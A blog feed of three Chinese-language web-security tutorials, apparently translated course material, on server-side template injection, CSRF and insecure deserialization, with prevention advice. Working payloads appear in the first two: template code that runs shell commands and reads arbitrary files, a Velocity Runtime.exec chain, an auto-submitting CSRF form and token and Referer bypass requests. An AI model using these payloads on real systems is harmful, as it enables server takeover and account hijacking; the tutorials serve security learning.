rife

rife 查看完整档案

杭州编辑浙江大学  |  0x00 编辑又拍云  |   已离职 编辑填写个人主网站
编辑

公众号: Node Python Go全栈开发

扫我头像即可关注,欢迎与我交流!

个人动态

rife 发布了文章 · 3月10日

Web Security 之 Server-side template injection

Server-side template injection

在本节中,我们将介绍什么是服务端模板注入,并概述利用此漏洞的基本方法,同时也将提供一些避免此漏洞的建议。

什么是服务端模板注入

服务端模板注入是指攻击者能够利用模板自身语法将恶意负载注入模板,然后在服务端执行。

模板引擎被设计成通过结合固定模板和可变数据来生成网页。当用户输入直接拼接到模板中,而不是作为数据传入时,可能会发生服务端模板注入攻击。这使得攻击者能够注入任意模板指令来操纵模板引擎,从而能够完全控制服务器。顾名思义,服务端模板注入有效负载是在服务端交付和执行的,这可能使它们比典型的客户端模板注入更危险。

服务端模板注入会造成什么影响

服务端模板注入漏洞会使网站面临各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在极少数情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务端模板注入的影响可能是灾难性的。

最严重的情况是,攻击者有可能完成远程代码执行,从而完全控制后端服务器,并利用它对内部基础设施进行其他攻击。

即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务端模板注入作为许多其他攻击的基础,从而可能获得服务器上敏感数据和任意文件的访问权限。

服务端模板注入漏洞是如何产生的

当用户输入直接拼接到模板中而不是作为数据传入时,就会出现服务端模板注入漏洞。

简单地提供占位符并在其中呈现动态内容的静态模板通常不会受到服务端模板注入的攻击。典型的例子如提取用户名作为电子邮件的开头,例如以下从 Twig 模板中提取的内容:

$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );

这不容易受到服务端模板注入的攻击,因为用户的名字只是作为数据传递到模板中的。

但是,Web 开发人员有时可能将用户输入直接连接到模板中,如:

$output = $twig->render("Dear " . $_GET['name']);

此时,不是将静态值传递到模板中,而是使用 GET name 动态生成模板本身的一部分。由于模板语法是在服务端执行的,这可能允许攻击者使用 name 参数如下:

http://vulnerable-website.com/?name={{bad-stuff-here}}

像这样的漏洞有时是由于不熟悉安全概念的人设计了有缺陷的模板造成的。与上面的例子一样,你可能会看到不同的组件,其中一些组件包含用户输入,连接并嵌入到模板中。在某些方面,这类似于 SQL 注入漏洞,都是编写了不当的语句。

然而,有时这种行为实际上是有意为之。例如,有些网站故意允许某些特权用户(如内容编辑器)通过设计来编辑或提交自定义模板。如果攻击者能够利用特权帐户,这显然会带来巨大的安全风险。

构造服务端模板注入攻击

识别服务端模板注入漏洞并策划成功的攻击通常涉及以下抽象过程。

探测

服务端模板注入漏洞常常不被注意到,这不是因为它们很复杂,而是因为它们只有在明确寻找它们的审计人员面前才真正明显。如果你能够检测到存在漏洞,则利用它将非常容易。在非沙盒环境中尤其如此。

与任何漏洞一样,利用漏洞的第一步就是先找到它。也许最简单的初始方法就是注入模板表达式中常用的一系列特殊字符,例如 ${{<%[%'"}}%\ ,去尝试模糊化模板。如果引发异常,则表明服务器可能以某种方式解释了注入的模板语法,从而表明服务端模板注入可能存在漏洞。

服务端模板注入漏洞发生在两个不同的上下文中,每个上下文都需要自己的检测方法。不管模糊化尝试的结果如何,也要尝试以下特定于上下文的方法。如果模糊化是不确定的,那么使用这些方法之一,漏洞可能会暴露出来。即使模糊化确实表明存在模板注入漏洞,你仍然需要确定其上下文才能利用它。

Plaintext context

纯文本上下文。

大多数模板语言允许你通过直接使用 HTML tags 或模板语法自由地输入内容,后端在发送 HTTP 响应之前,会把这些内容渲染为 HTML 。例如,在 Freemarker 模板中,render('Hello ' + username) 可能会渲染为 Hello Carlos

这有时经常被误认为是一个简单的 XSS 漏洞并用于 XSS 攻击。但是,通过将数学运算设置为参数的值,我们可以测试其是否也是服务端模板注入攻击的潜在攻击点。

例如,考虑包含以下模板代码:

render('Hello ' + username)

在审查过程中,我们可以通过请求以下 URL 来测试服务端模板注入:

http://vulnerable-website.com/?username=${7*7}

如果结果输出包含 Hello 49 ,这表明数学运算被服务端执行了。这是服务端模板注入漏洞的一个很好的证明。

请注意,成功计算数学运算所需的特定语法将因使用的模板引擎而异。我们将在 Identify 步骤详细说明。

Code context

代码上下文。

在其他情况下,漏洞暴露是因为将用户输入放在了模板表达式中,就像上文中的电子邮件示例中看到的那样。这可以采用将用户可控制的变量名放置在参数中的形式,例如:

greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)

在网站上生成的 URL 类似于:

http://vulnerable-website.com/?greeting=data.username

渲染的输出可能为 Hello Carlos

在评估过程中很容易忽略这个上下文,因为它不会产生明显的 XSS,并且与简单的 hashmap 查找几乎没有区别。在这种情况下,测试服务端模板注入的一种方法是首先通过向值中注入任意 HTML 来确定参数不包含直接的 XSS 漏洞:

http://vulnerable-website.com/?greeting=data.username<tag>

在没有 XSS 的情况下,这通常会导致输出中出现空白(只有 Hello,没有 username ),编码标签或错误信息。下一步是尝试使用通用模板语法来跳出该语句,并尝试在其后注入任意 HTML :

http://vulnerable-website.com/?greeting=data.username}}<tag>

如果这再次导致错误或空白输出,则说明你使用了错误的模板语法。或者,模板样式的语法均无效,此时则无法进行服务端模板注入。如果输出与任意 HTML 一起正确呈现,则这是服务端模板注入漏洞存在的关键证明:

Hello Carlos<tag>

识别

一旦检测到潜在的模板注入,下一步就是确定模板引擎。

尽管有大量的模板语言,但许多都使用非常相似的语法,这些语法是专门为避免与 HTML 字符冲突而选择的。因此,构造试探性载荷来测试正在使用哪个模板引擎可能相对简单。

简单地提交无效的语法就足够了,因为生成的错误消息会告诉你用了哪个模板引擎,有时甚至能具体到哪个版本。例如,非法的表达式 <%=foobar%> 触发了基于 Ruby 的 ERB 引擎的如下响应:

(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

否则,你将需要手动测试不同语言特定的有效负载,并研究模板引擎如何解释它们。使用基于语法有效或无效的排除过程,你可以比你想象的更快地缩小选项范围。一种常见的方法是使用来自不同模板引擎的语法注入任意的数学运算。然后,观察它们是否被成功执行。要完成此过程,可以使用类似于以下内容的决策树:

你应该注意,同样的有效负载有时可以获得多个模板语言的成功响应。例如,有效载荷 {{7*'7'}}Twig 中返回 49 ,在 Jinja2 中返回 7777777 。因此,不要只因为成功响应了就草率下结论。

利用

在检测到存在潜在漏洞并成功识别模板引擎之后,就可以开始尝试寻找利用它的方法。详细请翻阅下文。

如何防止服务端模板注入漏洞

防止服务端模板注入的最佳方法是不允许任何用户修改或提交新模板。然而,由于业务需求,这有时是不可避免的。

避免引入服务端模板注入漏洞的最简单方法之一是,除非绝对必要,始终使用“无逻辑”模板引擎,如 Mustache。尽可能的将逻辑与表示分离,这可以大大减少高危险性的基于模板的攻击的风险。

另一措施是仅在完全删除了潜在危险模块和功能的沙盒环境中执行用户的代码。不幸的是,对不可信的代码进行沙盒处理本身就很困难,而且容易被绕过。

最后,对于接受任意代码执行无法避免的情况,另一种补充方法是,通过在锁定的例如 Docker 容器中部署模板环境,来应用你自己的沙盒。


利用服务端模板注入漏洞

在本节中,我们将更仔细地了解一些典型的服务端模板注入漏洞,并演示如何利用之前归纳的方法。通过付诸实践,你可以潜在地发现和利用各种不同的服务端模板注入漏洞。

一旦发现服务端模板注入漏洞,并确定正在使用的模板引擎,成功利用该漏洞通常涉及以下过程。

  • 阅读

    • 模板语法
    • 安全文档
    • 已知的漏洞利用
  • 探索环境
  • 构造自定义攻击

阅读

除非你已经对模板引擎了如指掌,否则应该先阅读其文档。虽然这可能有点无聊,但是不要低估文档可能是有用的信息来源。

学习基本模板语法

学习基本语法、关键函数和变量处理显然很重要。即使只是简单地学习如何在模板中嵌入本机代码块,有时也会很快导致漏洞利用。例如,一旦你知道正在使用基于 Python 的 Mako 模板引擎,实现远程代码执行可以简单到:

<%
import os
x=os.popen('id').read()
%>
${x}

在非沙盒环境中,实现远程代码执行并将其用于读取、编辑或删除任意文件在许多常见模板引擎中都非常简单。

阅读安全部分

除了提供如何创建和使用模板的基础知识外,文档还可能提供某种“安全”部分。这个部分的名称会有所不同,但它通常会概括出人们应该避免使用模板进行的所有潜在危险的事情。这可能是一个非常宝贵的资源,甚至可以作为一种备忘单,为你应该寻找哪些行为,以及如何利用它们提供指南。

即使没有专门的“安全”部分,如果某个特定的内置对象或函数会带来安全风险,文档中几乎总是会出现某种警告。这个警告可能不会提供太多细节,但至少应将其标记为可以深入挖掘研究的内容。

例如,在 ERB 模板中,文档显示可以列出所有目录,然后按如下方式读取任意文件:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

查找已知的漏洞利用

利用服务端模板注入漏洞的另一个关键方面是善于查找其他在线资源。一旦你能够识别正在使用的模板引擎,你应该浏览 web 以查找其他人可能已经发现的任何漏洞。由于一些主要模板引擎的广泛使用,有时可能会发现有充分记录的漏洞利用,你可以对其进行调整以利用到自己的目标网站。

探索

此时,你可能已经在使用文档时偶然发现了一个可行的漏洞利用。如果没有,下一步就是探索环境并尝试发现你可以访问的所有对象。

许多模板引擎公开某种类型的 selfenvironment 对象,其作用类似于包含模板引擎支持的所有对象、方法和属性的命名空间。如果存在这样的对象,则可以潜在地使用它来生成范围内的对象列表。例如,在基于 Java 的模板语言中,有时可以使用以下注入列出环境中的所有变量:

${T(java.lang.System).getenv()}

这可以作为创建一个潜在有趣对象和方法的短名单的基础,以便进一步研究。

开发人员提供的对象

需要注意的是,网站将包含由模板提供的内置对象和由 web 开发人员提供的自定义、特定于站点的对象。你应该特别注意这些非标准对象,因为它们特别可能包含敏感信息或可利用的方法。由于这些对象可能在同一网站中的不同模板之间有所不同,请注意,你可能需要在每个不同模板的上下文中研究对象的行为,然后才能找到利用它的方法。

虽然服务端模板注入可能导致远程代码执行和服务器的完全接管,但在实践中,这并非总是可以实现。然而,仅仅排除了远程代码执行,并不一定意味着不存在其他类型的攻击。你仍然可以利用服务端模板注入漏洞进行其他高危害性攻击,例如目录遍历,以访问敏感数据。

构造自定义攻击

到目前为止,我们主要研究了通过重用已记录的漏洞攻击或使用模板引擎中已知的漏洞来构建攻击。但是,有时你需要构建一个自定义的漏洞利用。例如,你可能会发现模板引擎在沙盒中执行模板,这会使攻击变得困难,甚至不可能。

在识别攻击点之后,如果没有明显的方法来利用漏洞,你应该继续使用传统的审计技术,检查每个函数的可利用行为。通过有条不紊地完成这一过程,你有时可以构建一个复杂的攻击,甚至能够利用于更安全的目标。

使用对象链构造自定义攻击

如上文所述,第一步是标识你有权访问的对象和方法。有些对象可能会立即跳出来。通过结合你自己的知识和文档中提供的信息,你应该能够将你想要更彻底地挖掘的对象的短名单放在一起。

在研究对象的文档时,要特别注意这些对象允许访问哪些方法,以及它们返回哪些对象。通过深入到文档中,你可以发现可以链接在一起的对象和方法的组合。将正确的对象和方法链接在一起有时允许你访问最初看起来遥不可及的危险功能和敏感数据。

例如,在基于 Java 的模板引擎 Velocity 中,你可以调用 $class 访问 ClassTool 对象。研究文档表明,你可以链式使用 $class.inspect() 方法和 $class.type 属性引用任意对象。在过去,这被用来在目标系统上执行 shell 命令,如下所示:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

使用开发人员提供的对象构造自定义攻击

一些模板引擎默认运行在安全、锁定的环境中,以便尽可能地降低相关风险。尽管这使得利用这些模板进行远程代码执行变得很困难,但是开发人员创建的暴露于模板的对象可以提供更进一步的攻击点。

然而,虽然通常为模板内置对象提供了大量的文档,但是网站特定的对象几乎根本就没有文档记录。因此,要想知道如何利用这些漏洞,就需要你手动调查网站的行为,以确定攻击点,并据此构建你自己的自定义攻击。

image

查看原文

赞 1 收藏 1 评论 0

rife 发布了文章 · 3月9日

Web 安全 之 CSRF

Cross-site request forgery (CSRF)

在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。

什么是 CSRF

跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。

CSRF 攻击能造成什么影响

在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。

CSRF 是如何工作的

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  • 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。
  • 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。
  • 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。

假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

这个例子符合 CSRF 要求的条件:

  • 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
  • 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。
  • 攻击者可以轻松确定执行操作所需的请求参数的值。

具备这些条件后,攻击者可以构建包含以下 HTML 的网页:

<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

如果受害用户访问了攻击者的网页,将发生以下情况:

  • 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
  • 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。
  • 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。

注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。

如何构造 CSRF 攻击

手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator

如何传递 CSRF

跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。

请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示:

![](https://vulnerable-website.com/email/change?email=pwned@evil-user.net)

防御 CSRF 攻击

防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是:

  • 不可预测的,具有高熵的
  • 绑定到用户的会话中
  • 在相关操作执行前,严格验证每种情况

可与 CSRF token 一起使用的附加防御措施是 SameSite cookies

常见的 CSRF 漏洞

最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。

在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

CSRF token 的验证依赖于请求方法

某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。

在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

CSRF token 的验证依赖于 token 是否存在

某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。

在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

CSRF token 未绑定到用户会话

有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。

在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。

CSRF token 被绑定到非会话 cookie

在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。

注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。

CSRF token 仅要求与 cookie 中的相同

在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。

基于 Referer 的 CSRF 防御

除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。

注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。

Referer 的验证依赖于其是否存在

某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。

在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记:

<meta name="referrer" content="never">

Referer 的验证可以被规避

某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置:

http://attacker-website.com/csrf-attack?vulnerable-website.com

如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域:

http://vulnerable-website.com.attacker-website.com/csrf-attack

CSRF tokens

在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。

什么是 CSRF token

CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。

由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。

CSRF token 应该如何生成

CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。

您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。

如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。

如何传输 CSRF token

CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含:

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。

另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串:

  • 记录在客户端和服务器端的各个位置;
  • 容易在 HTTP Referer 头中传输给第三方;
  • 可以在用户的浏览器中显示在屏幕上。

某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。

CSRF token 不应在 cookie 中传输。

如何验证 CSRF token

当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。


XSS vs CSRF

在本节中,我们将解释 XSSCSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。

XSS 和 CSRF 之间有啥区别

跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。

跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。

XSS 漏洞的后果通常比 CSRF 漏洞更严重:

  • CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。
  • CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。

CSRF token 能否防御 XSS 攻击

一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

现在,假设漏洞函数包含一个 CSRF token :

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。

这里有一些重要的注意事项:

  • 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。
  • 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。
  • CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。

SameSite cookies

某些网站使用 SameSite cookies 防御 CSRF 攻击。

这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。

这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如:

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。

如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件:

  • 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。
  • 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。

使用 SameSiteLax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项:

  • 有些应用程序确实使用 GET 请求实现敏感操作。
  • 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。

出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。

image

查看原文

赞 11 收藏 8 评论 1

rife 发布了文章 · 3月8日

Web 安全 之 Insecure deserialization

Insecure deserialization

在本节中,我们将介绍什么是不安全的反序列化,并描述它是如何使网站遭受高危害性攻击的。我们将重点介绍典型的场景,并演示一些 PHP、Ruby 和 Java 反序列化的具体示例。最后也会介绍一些避免不安全的反序列化漏洞的方法。

利用不安全的反序列化通常比较困难。然而,它有时比你想象的要简单得多。如果您不熟悉反序列化,那么本节将包含一些重要的背景信息,您应该首先熟悉这些信息。如果您已经了解反序列化的基础知识,那么可以直接跳到学习如何利用它。

什么是序列化

序列化是将复杂的数据结构(如对象及其字段)转换为“更扁平”的格式的过程,该格式的数据可以作为字节流序列发送和接收。序列化的数据让以下过程更简单:

  • 将复杂数据写入进程间内存、文件或数据库
  • 发送复杂数据,例如,通过网络或API调用,在应用程序的不同组件之间传递复杂数据

关键的是,当序列化一个对象时,其状态也将保持不变。换句话说,对象的属性及其赋值都会被保留。

序列化 vs 反序列化

反序列化是将字节流还原为与原始对象完全相同的副本的过程。然后,网站的逻辑就可以与这个反序列化的对象进行交互,就像与任何其他对象进行交互一样。

许多编程语言提供对序列化的本地支持。具体如何序列化对象取决于具体语言。一些语言将对象序列化为二进制格式,而另一些语言则会序列化为具有不同程度的可读性的字符串格式。请注意,原始对象的所有属性都存储在序列化数据流中,包括所有私有字段。为了防止字段被序列化,必须在类声明中将其显式标记为"transient" 。

请注意,当使用不同的编程语言时,序列化可能被称为 marshalling(Ruby)或 pickling(Python),这些术语与“序列化”同义。

什么是不安全的反序列化

不安全的反序列化是指用户可控制的数据被网站反序列化。这会使攻击者能够操纵序列化的对象,以便将有害数据传递到应用程序代码中。

甚至可以用完全不同类的对象替换序列化对象。令人担忧的是,网站上任何可用的类的对象都将被反序列化和实例化,而不管这个类是不是预期的类。因此,不安全的反序列化有时被称为 "object injection" 对象注入漏洞。

一个意外类的对象可能会导致异常。不过,在此之前,损害可能已经造成。许多基于反序列化的攻击在反序列化结束之前就已经完成。这意味着可以攻击反序列化的过程本身,即使网站的功能不直接与恶意对象交互。因此,其逻辑基于强类型语言的网站也容易受到这些技术的攻击。

不安全的反序列化漏洞是如何出现的

不安全的反序列化出现通常是因为人们普遍缺乏对用户可控数据进行反序列化的危险程度的了解。理想情况下,根本不应该对用户输入进行反序列化。

